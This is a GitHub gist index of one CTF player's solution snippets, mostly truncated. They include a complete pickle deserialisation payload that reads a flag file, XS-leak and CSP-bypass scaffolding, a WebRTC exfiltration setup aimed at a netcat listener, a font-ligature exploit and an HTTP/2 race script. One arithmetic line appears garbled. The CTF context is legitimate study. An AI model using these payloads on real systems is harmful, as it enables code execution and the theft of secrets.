strellic’s gists

strellic / justctf_computerationfixed.html

Created January 31, 2021 19:35

	<!DOCTYPE html>
	<html>
	<body>
	<iframe src="https://computeration-fixed.web.jctf.pro/#" id="iframe"></iframe>
	<script>
	let iframe = document.getElementById("iframe");
	let known = "";
	let check = `[a-m]`;

	let gen = (c) => {

strellic / notreceivedprize.js

Created February 28, 2021 09:07

javascript solution for web notreceivedprize in aeroctf 2021

	let fn = function() {
	async function x() {
	let r = await fetch(`/api/admin/pz/ex`, { method: `POST` });
	let prob = (await r.json()).ex.split(' ');
	let a = parseInt(prob[0]), op = prob[1], b = parseInt(prob[2]);
	let ans = 0;
	if(op === '+') ans = a+b;
	if(op === '') ans = ab;
	if(op === '-') ans = a-b;
	if(op === '/') ans = a/b;

strellic / ocf_shorturl.html

Last active March 1, 2021 01:59

	<!DOCTYPE html>
	<html>
	<head>
	<title>ocf.io shorturls</title>
	<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" crossorigin="anonymous">
	</head>
	<body>
	<div class="m-3">
	<h1>ocf.io short link translations</h1>
	<h5><a href="https://www.ocf.berkeley.edu/docs/">Documentation</a></h5>

strellic / gurkburk.py

Last active April 10, 2021 17:07

	import pickle
	import base64
	import pickletools

	# basically, modify the pickle given to us by the challenge to include a note that comes from getattr(open("flag.txt"), "read")()
	payload = b'ccopy_reg\n_reconstructor\np0\n(c__main__\nNotes\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nVname\np6\nVMy notes\np7\nsVnotes\np8\n(lp9\nc__builtin__\ngetattr\n(c__builtin__\nopen\n(Vflag.txt\ntRp10\nVread\ntR)Rp11\nasb.'

	# pickletools.dis(payload)
	'''
	0: c GLOBAL 'copy_reg _reconstructor'

strellic / blogme_solve.html

Last active August 28, 2021 00:33

corCTF 2021 web/blogme solution code

	<!DOCTYPE html>
	<html>
	<body>
	<!--
	make two pages, one with the meta tag, and the other with the form tag csp bypass
	set eval post id to the id of the meta tag
	at window.name at the bottom, run stage1 first.
	send the post that has the meta redirect to the admin
	this sends the file id of the service worker to a webhook, which you can then set as service worker file id.
	then, change it to run stage2

strellic / msgme_solve.html

Last active August 28, 2021 00:33

corCTF 2021 web/msgme solution code

	<h1>yo</h1>
	<script>
	/*
	modify the webrtc host and ip to somewhere you have a netcat listener.
	send this html file to the admin, and then you should receive the secret wrapped in ZZZZZZs
	then send !secret <secret> and observe network requests for your flag!
	*/
	const SITE = "https://msgme.be.ax";

	let webrtc_host = "IP";

strellic / pwn.hbs

Last active August 28, 2021 00:32

corCTF 2021 web/styleme solve

	<!DOCTYPE html>
	<html>
	<body onblur="nop()">
	<h1>styleme solver</h1>
	<input type="text" id="focusforcer" /><br />
	<script>
	let $ = document.querySelector.bind(document);
	let yep = false;
	let done = false;

strellic / font.js

Created October 24, 2021 18:15

AF2 exploit

	const js2xmlparser = require('js2xmlparser');
	const fs = require('fs');
	const tmp = require('tmp');
	const rimraf = require('rimraf');
	const child_process = require('child_process');

	function createFont(prefix, name, charsToLigature) {
	let font = {
	"defs": {
	"font": {

strellic / intigriti-0922-sol.html

Created September 26, 2022 06:49

intigriti-0922-sol.html

	<html>
	<body>
	<iframe src="https://challenge-0922.intigriti.io/challenge/index.php" style="width:100vw; height: 100vh"></iframe>
	<script>
	document.querySelector("iframe").onload = () => {
	document.querySelector("iframe").contentWindow.frames[0].location = URL.createObjectURL(new Blob([`
	<script>
	(async () => {
	let alphabet = "0123456789abcdef".split("");
	let known = "";

strellic / h2spam.js

Last active April 14, 2024 21:49

plaid24 werechat sol

	// http2 muxer to race reset passcode
	const http2 = require('http2');

	process.env["NODE_TLS_REJECT_UNAUTHORIZED"] = 0;
	const clientSession = http2.connect(process.argv[2]);

	for (let i = 0; i < 5; i++) {
	const r = clientSession.request({
	":method": "POST",
	":path": "/api/request-reset",

strellic strellic